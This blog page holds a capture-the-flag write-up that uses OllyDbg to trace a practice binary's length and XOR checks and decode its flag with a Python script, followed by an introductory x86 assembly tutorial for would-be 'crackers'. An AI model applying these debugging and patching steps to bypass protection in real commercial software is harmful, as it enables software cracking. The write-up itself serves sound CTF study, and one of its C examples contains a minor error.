<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjncqUgpBA1vPSR3VAb0zjgKEL6MJIZoVBi-G8RD4ZgXXqotqxUBBSoFj8LPgIVK71pFvMW4NGq2qSdoxPVXyarYAsRoyCbq9bP-02tyC_o_l4-IQvslnYATVgh5QSz0zu57mbFFt04y0t7/s1600/18.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="115" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjncqUgpBA1vPSR3VAb0zjgKEL6MJIZoVBi-G8RD4ZgXXqotqxUBBSoFj8LPgIVK71pFvMW4NGq2qSdoxPVXyarYAsRoyCbq9bP-02tyC_o_l4-IQvslnYATVgh5QSz0zu57mbFFt04y0t7/s320/18.png" width="320" /></a></div>
<br />
Well, we've scored another! :)Daisukehttp://www.blogger.com/profile/16363737852802058744noreply@blogger.com0tag:blogger.com,1999:blog-7283325182849891853.post-39822904543506097252012-04-24T03:12:00.000-07:002012-04-26T01:02:39.851-07:00Uniten Hack@10 2012 binary write-up (ex01)As these binaries are neither packed nor had implemented anti-debugging, so I lazily used the back-tracking method to obtain the flags. For most easy binaries, it should not be a problem.<br />
<br />
You can get the binaries right <a href="http://aegisrunestone3.googlepages.com/binary.zip">here</a>.<br />
Tools required : <a href="http://www.ollydbg.de/">Ollydbg</a>, <a href="http://www.peid.info/">PEiD</a>.<br />
Prior knowledge required : Assembly language (x86), basic debugging, windows.<br />
Note : Addresses in this tutorial could differ from yours. If so, use your addresses instead of mine.<br />
<br />
Lets start:<br />
<br />
It is a good practice in reverse engineering, that we scan PEs for the signature, packer and compiler information.<br />
This is what PEiD found for all 6 binaries :
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwfrwjgw-j9a4XMEpqIfcn9DUUlBDoo3Kt5nz9FILLOTPOB7TCSeNHmTa5ufiBLlS8nvVFXytaoW2L1YANvm0h_9Hf3RlHjVoueh2lFllIKCadPqyCkuZzdd13oD-VpiyGRZXUZZoSzfE5/s1600/peid.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="164" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwfrwjgw-j9a4XMEpqIfcn9DUUlBDoo3Kt5nz9FILLOTPOB7TCSeNHmTa5ufiBLlS8nvVFXytaoW2L1YANvm0h_9Hf3RlHjVoueh2lFllIKCadPqyCkuZzdd13oD-VpiyGRZXUZZoSzfE5/s320/peid.png" width="320" /></a></div>
<br />
Nothing really interesting here, except for ex05.exe which is a C# program. By chance, we could decompile it easily if it had not been protected.<br />
<br />
So lets start with the first binary. Fire up your debugger, and open ex01.exe.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaVNe25hvzVeaaX4_zwu4AC5OutmgTupaTs5q2whiKucmRkXD-qfA8jJZQ7Iz-Mn5oR4Kzb0sOCs1ZN0oc8hkNRdqvGjPBXmRNtRIfLhP-06QJobk-4AQAx_YYmun7_xSuQeut_TQl6VfN/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="172" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaVNe25hvzVeaaX4_zwu4AC5OutmgTupaTs5q2whiKucmRkXD-qfA8jJZQ7Iz-Mn5oR4Kzb0sOCs1ZN0oc8hkNRdqvGjPBXmRNtRIfLhP-06QJobk-4AQAx_YYmun7_xSuQeut_TQl6VfN/s320/1.png" width="320" /></a></div>
<br />
By default, Ollydbg should automatically break at the program's Entry Point, if you had not fiddle with the debugging options. Just run the application with F9.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmVhtftbfwKQPR4F6EwQX0E0-qbVqo5_ToRSjlGSKOs46Stbeb9uxvq3MvlUP4mCZc6MB8lnB1gGE3ep7cSCRAedx_DeMVlAUV37vbAtZSX0HNJTYrADuH7hvgYB5yIuG0THarBJJpcjpa/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="160" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmVhtftbfwKQPR4F6EwQX0E0-qbVqo5_ToRSjlGSKOs46Stbeb9uxvq3MvlUP4mCZc6MB8lnB1gGE3ep7cSCRAedx_DeMVlAUV37vbAtZSX0HNJTYrADuH7hvgYB5yIuG0THarBJJpcjpa/s320/2.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Well, the dialog had shown up. As we can see, Answer is where we put the password or flag, and status would show either we got it right or wrong. Lets try with the word "testing".<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjn2Vvsk1m8eZjqDTk7_Dn0tmqg22d1HYKNG3zagC-7_Nl2WUL0xf8lQ7bMjQrA8DeTYKfIIepRFshBn65KFsB4dMpbsR7iCSPss4uslBoEyfz7b_tN5Z_Qnmz5sRtNUHtrIs3Q4OyvXvA/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="115" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjn2Vvsk1m8eZjqDTk7_Dn0tmqg22d1HYKNG3zagC-7_Nl2WUL0xf8lQ7bMjQrA8DeTYKfIIepRFshBn65KFsB4dMpbsR7iCSPss4uslBoEyfz7b_tN5Z_Qnmz5sRtNUHtrIs3Q4OyvXvA/s320/3.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Not surprisingly, we've got it wrong. Notice the "Wrong!!" text, I would assume this is stored as static text in the binary. Static texts are searchable with ollydbg as it automatically analyzes pointers to consecutive printable ASCII characters sequences.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgctiQ-008frhX6rRT9prq4ezOmeBlu55XvYTWfv-HYrrYvtXbhnhINfLtNSH3Eju_8AirjRT0iig6_2U004BXSTrJWkPkcJ0jg38AbmjO4Np98aMgVCvPYEMNAhEa9JaQ7c9Gq4K8Wqv_N/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="174" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgctiQ-008frhX6rRT9prq4ezOmeBlu55XvYTWfv-HYrrYvtXbhnhINfLtNSH3Eju_8AirjRT0iig6_2U004BXSTrJWkPkcJ0jg38AbmjO4Np98aMgVCvPYEMNAhEa9JaQ7c9Gq4K8Wqv_N/s320/4.png" width="320" /></a></div>
<br />
Open up memory map with ALT-M.<br />
Then right click at the ".text" section of ex01, and click on "View in CPU Disassembler":
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfS-B-hjIzMrKnRRr9-MhvcpS6smtLJHmburtr6Ugv5J2dU-9fcJzOXpS5ymFPoqKLl57bMNebR5KAZjMek7lCekA-dZIAq6L8Zh0Fh-LorZjMM5m0iWprZGaKQWwYtD5Q9tFhd7f6ldWk/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="173" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfS-B-hjIzMrKnRRr9-MhvcpS6smtLJHmburtr6Ugv5J2dU-9fcJzOXpS5ymFPoqKLl57bMNebR5KAZjMek7lCekA-dZIAq6L8Zh0Fh-LorZjMM5m0iWprZGaKQWwYtD5Q9tFhd7f6ldWk/s320/5.png" width="320" /></a></div>
<br />
Then, right click at anywhere on CPU window, choose Search for > All referenced strings
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1usvsyHnuDV_FBgK5oUCM1gQjzMXz4HvoQsEGxUePx0knqJ5Rdqez3Deaf-S7s-9Ngy7IeP02rj2WfgKQN0tXjgT3TihUrWwxGRtsSIlX0fy7AZTZ4U1f1wbWMYbKPAL70P6Z1alSzrIj/s1600/5.1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="156" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1usvsyHnuDV_FBgK5oUCM1gQjzMXz4HvoQsEGxUePx0knqJ5Rdqez3Deaf-S7s-9Ngy7IeP02rj2WfgKQN0tXjgT3TihUrWwxGRtsSIlX0fy7AZTZ4U1f1wbWMYbKPAL70P6Z1alSzrIj/s320/5.1.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
There you can see, Ollydbg has found several static strings made up of ASCII values. "Correct!!" and "Wrong!!" are the strings that we're looking for. Right click on "Correct!!", and Follow in Disassembler.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnDMuBnTnYoBhTeZK-07EKb3nBsC2gEnK8AUMRoXxltneq-osqEs3EE449XmeIajWBZWskmnAMQW2hZVj3cnLSpnhVjAmPYcKZ3aiQImMpjo2CppBDpfdROSHFPC4ztSSixmYeBusBCAym/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="114" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnDMuBnTnYoBhTeZK-07EKb3nBsC2gEnK8AUMRoXxltneq-osqEs3EE449XmeIajWBZWskmnAMQW2hZVj3cnLSpnhVjAmPYcKZ3aiQImMpjo2CppBDpfdROSHFPC4ztSSixmYeBusBCAym/s320/6.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
We now landed on the part of the program where it produces "Correct" and "Wrong". Our objective here is to analyze the "check" procedure of the binary, and intercept its logic so that we can obtain the flag.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbbn4GmKQFuqeIovcgDOE9nUUenROLdP6B5AIBFjBkhkAJia5Eein9fE89lYjIbD4g7OCcNdFWK29kEMROX-z_xQ1NBoiKDys9Bi3Fp1zK_BcvHNj9NPnuENOIPbclft_xiM-3oXMVDuaI/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="57" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbbn4GmKQFuqeIovcgDOE9nUUenROLdP6B5AIBFjBkhkAJia5Eein9fE89lYjIbD4g7OCcNdFWK29kEMROX-z_xQ1NBoiKDys9Bi3Fp1zK_BcvHNj9NPnuENOIPbclft_xiM-3oXMVDuaI/s320/7.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Notice the "CMP EDX,14" and "JNE SHORT 0132112E" opcodes.<br />
0132112E is the address where the program changes its status to "Wrong!!". This must be some sort of a check. A wild guess, this could be checking the input length. If our input is not 20-characters-long (14 for hexadecimal), it would jump straight to "Wrong". So our EDX must be exactly 14 at the compare operand.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimmemSuDf3jLJoIfypW-bS8swaWKXbiWz_Y6faI8BUX_lmEoBj0HRD2yQ0UH-bi2mILvm8zGxdmtDfxK6cG7s4s-zbZxGNPzStvRuZhR7SxCUOBvvfE-VF-cXTq9ECO5KgC892oXV1j0cW/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="91" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimmemSuDf3jLJoIfypW-bS8swaWKXbiWz_Y6faI8BUX_lmEoBj0HRD2yQ0UH-bi2mILvm8zGxdmtDfxK6cG7s4s-zbZxGNPzStvRuZhR7SxCUOBvvfE-VF-cXTq9ECO5KgC892oXV1j0cW/s320/8.png" width="320" /></a></div>
<br />
Scroll up, we can see that there are some looping going around (Ollydbg indicates it with the black lines going from jump operand upwards).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSK4owte01GpqMj4g1GZF0hu5i2b4tBKHGLyNbFvjUnS0wW7Bud-aSxGL_YMt_0UvYjqe3zLEXnnj1ObW-wQ2uD3RK3oSQ-W_LpDqTUpzecO-sG6b9-eDrx_he_ojcmvQRHGvQjbZK3zpZ/s1600/8.1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="91" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSK4owte01GpqMj4g1GZF0hu5i2b4tBKHGLyNbFvjUnS0wW7Bud-aSxGL_YMt_0UvYjqe3zLEXnnj1ObW-wQ2uD3RK3oSQ-W_LpDqTUpzecO-sG6b9-eDrx_he_ojcmvQRHGvQjbZK3zpZ/s320/8.1.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="text-align: -webkit-auto;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="text-align: -webkit-auto;">Curiously, we can see that the bigger loop also have a conditional jump procedure which jumps to "Wrong!!". This must another check. So what does it check for? We can determine it by the compare operand above.</span>
</div>
<div class="separator" style="clear: both; text-align: left;">
<span style="text-align: -webkit-auto;"><br />The compare operand checks </span>[EDX+132300C] with AL. So either one of these parameters could be the pointer to our flag. </div>
<div class="separator" style="clear: both; text-align: left;">
So lets place a breakpoint at 013210E0 to find out. Right click at 013210E0 > Breakpoint > Toggle:</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSOem1yUX9aRHyu4hZBnmQyk8fAaZX413wOrvnIsYdCubzPDtluO_-FgJ-mp_0dItBVFF71fPHAN3f5_aCzSBkRxCB9TVc8JTHjxbR3Ocl3Kcm92WjfpYWF6V7Pl2CXgMUxIMI1cRXmTZQ/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="173" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSOem1yUX9aRHyu4hZBnmQyk8fAaZX413wOrvnIsYdCubzPDtluO_-FgJ-mp_0dItBVFF71fPHAN3f5_aCzSBkRxCB9TVc8JTHjxbR3Ocl3Kcm92WjfpYWF6V7Pl2CXgMUxIMI1cRXmTZQ/s320/9.png" width="320" /></a></div>
<br />
After placing a breakpoint, the address 013210E0 should be highlighted in red. This indicates that if the program executes at the address, Ollydbg would interfere and stop the program's execution, and start debugging. It would wait for user input to step-in and execute instructions. Press the Check button over our binary so that it runs through the check procedure. The process would halt as debugger has caught its thread.<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0ybOhs5efsry0H34CapsswxLV2H2F3FMFYS5kkUNSTd8Kjq9JNZ_50KOITJ4hYLVsxIejWA7O3DFQZiYrvRFXqBs7JKUtY5zQbHRN0Uyt1dcZm97tNfHXLIzzRO13u-34txLd53A7Yib9/s1600/11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="41" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0ybOhs5efsry0H34CapsswxLV2H2F3FMFYS5kkUNSTd8Kjq9JNZ_50KOITJ4hYLVsxIejWA7O3DFQZiYrvRFXqBs7JKUtY5zQbHRN0Uyt1dcZm97tNfHXLIzzRO13u-34txLd53A7Yib9/s320/11.png" width="320" /></a></div>
<br />
We start at 013210E0.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQDLIB80OU-sm2dsH1NLs50UA9XxJz9ELichFPtBB4j9gur4WRFhoZLjG4-vNUIgPRZUA2VMbhkUIzyCIWksQgwTcR8cSHRz6o95mNY0mhqZLOp8v9LIA5ahnjJFD1riMPqHyT3VHW7XAO/s1600/12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQDLIB80OU-sm2dsH1NLs50UA9XxJz9ELichFPtBB4j9gur4WRFhoZLjG4-vNUIgPRZUA2VMbhkUIzyCIWksQgwTcR8cSHRz6o95mNY0mhqZLOp8v9LIA5ahnjJFD1riMPqHyT3VHW7XAO/s320/12.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
The opcode at 013210E0 is "MOV AL,BYTE PTR SS:[EDX+ESP+0C]"<br />
This indicates that AL will obtain data from the pointer [EDX+ESP+0C] which is in our stack. This could be our flag. Lets see what is in there. Right click, Follow in Dump > Memory address.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiM7IxM-RozcK-x7z59yOfL6L10EcNUAnMrabzMVeOqECcsc9EDidk7wMKk8k_4g4ta6QOjf4q3KRPNT5oUpTZ_ZjOBTnN-EwF7R3oMOcMgXLkCUZXmPF4XltTWJy_CfYg4JXugRItbPBwO/s1600/13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="38" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiM7IxM-RozcK-x7z59yOfL6L10EcNUAnMrabzMVeOqECcsc9EDidk7wMKk8k_4g4ta6QOjf4q3KRPNT5oUpTZ_ZjOBTnN-EwF7R3oMOcMgXLkCUZXmPF4XltTWJy_CfYg4JXugRItbPBwO/s320/13.png" width="320" /></a></div>
Aha! We have found our input string. So if AL is our input string, the latter must be our flag. Lets see what does the next instruction do with AL.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0ybOhs5efsry0H34CapsswxLV2H2F3FMFYS5kkUNSTd8Kjq9JNZ_50KOITJ4hYLVsxIejWA7O3DFQZiYrvRFXqBs7JKUtY5zQbHRN0Uyt1dcZm97tNfHXLIzzRO13u-34txLd53A7Yib9/s1600/11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="41" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0ybOhs5efsry0H34CapsswxLV2H2F3FMFYS5kkUNSTd8Kjq9JNZ_50KOITJ4hYLVsxIejWA7O3DFQZiYrvRFXqBs7JKUtY5zQbHRN0Uyt1dcZm97tNfHXLIzzRO13u-34txLd53A7Yib9/s320/11.png" width="320" /></a></div>
<br />
An XOR! This is definitely important. The next compare operand should point to our flag. Press F7 to step into the instructions. Stop at the compare operand.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikgD1bTpFRss9FykOd5biJkRsUXTJt8SBPAq-L5a_N04SJat7fbgm2bsm4fjc1aqYQI0vsHQHY-ASmoJT-KnsmZovtNkxophJqSXHIYFRza1YKVfdKaPmf0xzXOzWbBY0Y9SqSqOxC3sQ4/s1600/14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="105" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikgD1bTpFRss9FykOd5biJkRsUXTJt8SBPAq-L5a_N04SJat7fbgm2bsm4fjc1aqYQI0vsHQHY-ASmoJT-KnsmZovtNkxophJqSXHIYFRza1YKVfdKaPmf0xzXOzWbBY0Y9SqSqOxC3sQ4/s320/14.png" width="320" /></a></div>
So now we have arrived at the compare instruction, we could directly access to the data in [<span style="text-align: left;">EDX+132300C]. Right click, Follow in Dump > Memory address.</span><br />
<span style="text-align: left;"><br /></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoUPrxYdQulAA-vdLnHRM2sqWzBqk0cC9RK6VSh9n17sw-ilaoq-8zPdAZ3dZL2fpbAR15YHzdlMsMTbLUnBS7y7hA6D2O4YSMjg35PpmhkzvSilJ4eU05TQzCfQlMZE7JapYiT0MSdxpm/s1600/16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="38" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoUPrxYdQulAA-vdLnHRM2sqWzBqk0cC9RK6VSh9n17sw-ilaoq-8zPdAZ3dZL2fpbAR15YHzdlMsMTbLUnBS7y7hA6D2O4YSMjg35PpmhkzvSilJ4eU05TQzCfQlMZE7JapYiT0MSdxpm/s320/16.png" width="320" /></a></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
This is the dump at [EDX+132300C]. Select 20 (remember the length check) first bytes, and copy it with Right Click > Edit > Binary copy</div>
<div style="text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisiGOEWcIkmsUqOnzfZpuGwJph3j-bM1tIBqXmhbCRhpSsdfN-CV61xkkOtBVzfT8ir1qYRUGh_QOEo_5cuuTQdpf9iqTand-By2MRWzjjLm01v99CE4lAHrkYPQ5aqwXAx0s_PwHpoE4r/s1600/16.1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="173" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisiGOEWcIkmsUqOnzfZpuGwJph3j-bM1tIBqXmhbCRhpSsdfN-CV61xkkOtBVzfT8ir1qYRUGh_QOEo_5cuuTQdpf9iqTand-By2MRWzjjLm01v99CE4lAHrkYPQ5aqwXAx0s_PwHpoE4r/s320/16.1.png" width="320" /></a></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
So now that we have our encrypted flag, we should decrypt it with the same encryption which is XOR 65. A simple python script could achive this:</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<pre class="brush: python;">string = [ 0x32, 0x00, 0x09, 0x06, 0x0A, 0x08, 0x00, 0x45,
0x11, 0x0A, 0x45, 0x2D, 0x04, 0x06, 0x0E, 0x25,
0x54, 0x55, 0x44, 0x44 ,0x65 ]
result = ""
for i in string:
result += chr(i^0x65)
print result</pre>
<br />
Congratulations, you have just captured the first flag:
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSGvhllOnlM9exiBdeXE5xc-k0OCP_ikdYb1iuMSW2ueTpbNi37G7U1vrBgMzcctqm4XQ6JPQ9Lsx-44G8BwEW3Pi3bS9CTys3tDhaOnuQaKITazJEUC5bgctacxMXHJ-a7QJitAPHLxED/s1600/17.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="115" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSGvhllOnlM9exiBdeXE5xc-k0OCP_ikdYb1iuMSW2ueTpbNi37G7U1vrBgMzcctqm4XQ6JPQ9Lsx-44G8BwEW3Pi3bS9CTys3tDhaOnuQaKITazJEUC5bgctacxMXHJ-a7QJitAPHLxED/s320/17.png" width="320" /></a></div>
:)Daisukehttp://www.blogger.com/profile/16363737852802058744noreply@blogger.com3tag:blogger.com,1999:blog-7283325182849891853.post-23708746727513999312012-04-24T00:06:00.000-07:002012-04-24T05:00:28.377-07:00Reverse binary & Assembly<div>
Caveats: This tutorial runs for intel's x86 architecture. Also, windows.</div>
<div>
<u><br />
</u></div>
<div>
<u>Introduction</u></div>
For those who are new on the subject, let me shed some light for you. Reverse engineering is the art of inspecting, intercepting, interrupting, or manipulating application's inner workings. Even with obfuscations and protections, nothing can really be hidden from the prying eyes of determined cracker whose intention is nothing but to tear application's innards apart. This is simply because of one rule. If the application needs to be working, it has to be truthful to the machine. It just could not achieve its task without revealing itself to the machine beforehand. And then, in between the application and hardware, there is the Operating System, drivers, and software. This is where crackers come in. Through applications such as <a href="http://www.ollydbg.de/">Ollydbg</a> and <a href="http://www.immunitysec.com/products-immdbg.shtml">Immunity Debugger</a>, you not only can gain control to program's flow and logic, you can also produce a patched software with your own programming included.<br />
<div>
<div>
<br /></div>
<div>
<div>
<div>
<u>Assembly language</u></div>
<div>
Assembly is the closest language to machine language (If you could crack a complicated binary with mere machine language, you sir, has win). High level languages are always translated into assembly language through an assembler, before the machine could comprehend the programming. Assembly language has human readable operation codes (opcodes) such as MOV, ADD, and JMP. Basic operations available are divided into 3 groups, eg: Logic, Arithmetic, and Jumps.</div>
</div>
</div>
<div>
<br /></div>
<div>
Assembly can be quite simple if you can understand its logic. In fact, it can be the most efficient programming language you'll ever know. For these upcoming tutorials, understanding basic assembly language is a <b>MUST</b>. Otherwise, you could have hard times understanding the details in reversing binaries.</div>
<div>
<br /></div>
<div>
So, here goes the first lesson:</div>
<div>
<br /></div>
<div>
<u>Memory and registers</u></div>
<div>
Unlike high-level languages which uses variables, assembly has two locations to store its numbers which are: Memory and Registers. And then there are flags. They are boolean variables that holds either true or false. Some instructions sets flags, and some instruction uses flags in its operation. Memory are pretty much direct forward, I will explain them later. Registers are something that you should pay attention to. In intel x86, available registers are as follows:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.cs.virginia.edu/~evans/cs216/guides/x86.html"> <img border="0" height="240" src="http://www.cs.virginia.edu/~evans/cs216/guides/x86-registers.png" width="320" /></a></div>
<div>
<br /></div>
<div>
Each register has its own, constant name, which is:</div>
<div>
EAX, EBX, ECX, EDX, ESI, EDI, ESP, and EBP. They are all 32-bits. AX, BX, CX, and DX are 16 bits. AH and AL are the corresponding 8 bits sections of AX, for which AH is the higher 8 bits and AL is the lower 8 bits. This goes for all AX, BX, CX, and DX registers with their own High and Low representatives.</div>
<div>
<br /></div>
<div>
Size is IMPORTANT when it comes to assembly. Assembly language does not have data types, it treats every data as raw bits and bytes, thus overflowing must be handled manually for most times. There are specific instructions to handle data between different sizes, which, I leave to yourself to explore.</div>
<div>
<br />
Assembly indirectly interact with your RAM through <a href="http://www.howstuffworks.com/virtual-memory.htm">Virtual Memory</a>. If you're not familiar with the concept of memory addressing, do read <a href="http://www.utdallas.edu/~cantrell/ee2310/memaddr.pdf">this</a>.<br />
<br />
<u>Instructions</u></div>
<div>
All assembly instructions have syntax just like other languages. The syntax in assembly operations are either 0, 1 or 2. This syntax could be destination, source, or quantity (count).<br />
<br />
A language that is very close to assembly is C. C is almost the little brother of assembly. Understanding C would be very helpful as C is a considerably low-level language which programmers could explicitly use pointers, just like assembly.<br />
<br />
Lets start with the first operation in assembly. MOV.<br />
<br />
<pre class="brush: asm;">MOV EAX, 1000
</pre>
<br />
The MOV instruction has a Destination and Source parameter. This MOV instruction has EAX as its destination and 1000 as its source. In this example, 1000 is a static number. NOTE: Most applications show assembly numbers in Hexadecimal, instead of decimal. Thus, 1000 in decimal is 4096. In C, the code would look like this:<br />
<br />
<pre class="brush: c;">int main()
{
int a = 0x1000; // 0x1000 is hexadecimal
}
</pre>
<br />
<br />
With MOV instruction, you could move data between registers to registers, registers to memory, and vice versa. Example for memory instruction:<br />
<br />
<pre class="brush: asm;">;Assume that 0x00400000 is already allocated with R/W page access
MOV EAX, 00400000
MOV [EAX], 500
</pre>
<br />
Note the brackets. Those are the indicator to write to memory at given address. They will tell the machine to treat EAX as a pointer to memory address. In this example, this code will input the address 0x00400000 into eax, and then modify 32-bit of data in 0x00400000 into 0x500.<br />
<br />
In C:<br />
<br />
<pre class="brush: c;">int main()
{
int *eax = (int*)0x00400000;
*eax = 0x500;
}
</pre>
<br />
Running this code will most probably crash your program. Why? 0x00400000 could be unallocated memory address in your program. Running it will simply produce memory access exception.<br />
<br />
To read data from memory addresses, you could simply do this:<br />
<br />
<pre class="brush: asm;">MOV EAX, [00400000]
</pre>
</div>
</div>
<div>
This would read a 32-bit content at 0x00400000 and then transfer it to EAX.<br />
<br />
In C:<br />
<br />
<pre class="brush: c;">int main()
{
int *eax = (int*)0x00400000;
printf("%d", eax);
}
</pre>
<br />
Now for control flows in assembly.<br />
<br />
CMP operand sets flags that are then used to make conditional jump instructions' decisions. This is equivalent to "if (...), then" in other languages. There is unconditional jump operand, which is the JMP. Conditional jumps are the ones that are important to decide a program's flow. Such jumps are like:<br />
<br />
JE (Jump if equal)<br />
JNE (Jump if not equal)<br />
JL (Jump if lower)<br />
JA (Jump if higher)<br />
And so on.. <a href="http://en.wikibooks.org/wiki/X86_Assembly/Control_Flow">this </a>is a simple wiki of conditional jumps<br />
<br />
Example:<br />
<pre class="brush: asm;">...
...
MOV EAX, 1000
CMP EAX, 1000
JE 00800000
MOV EAX, 0 ; This code will never be executed
...
...
...
00800000:
;Some codes here
</pre>
This example will set and then compare EAX to 0x1000. EAX <b>IS</b> equal to 0x1000, so JE will accept the condition as TRUE (ZF = true) and execute the jump. Hence, EAX will never be set to 0, as the code will never be executed.<br />
<br />
C equivalent:<br />
<br />
<pre class="brush: c;">int main()
{
int eax = 0x1000;
if (eax == 0x1000)
{
//
}
else
{
eax = 0; // This will never be executed
}
}
</pre>
<br />
That is all that I have to teach you for now, things are better for you yourself to explore. Do read up more on assembly.<br />
<br />
Links:<br />
<a href="http://ece425web.groups.et.byu.net/stable/labs/8086InstructionSet.html">http://ece425web.groups.et.byu.net/stable/labs/8086InstructionSet.html</a>
<br />
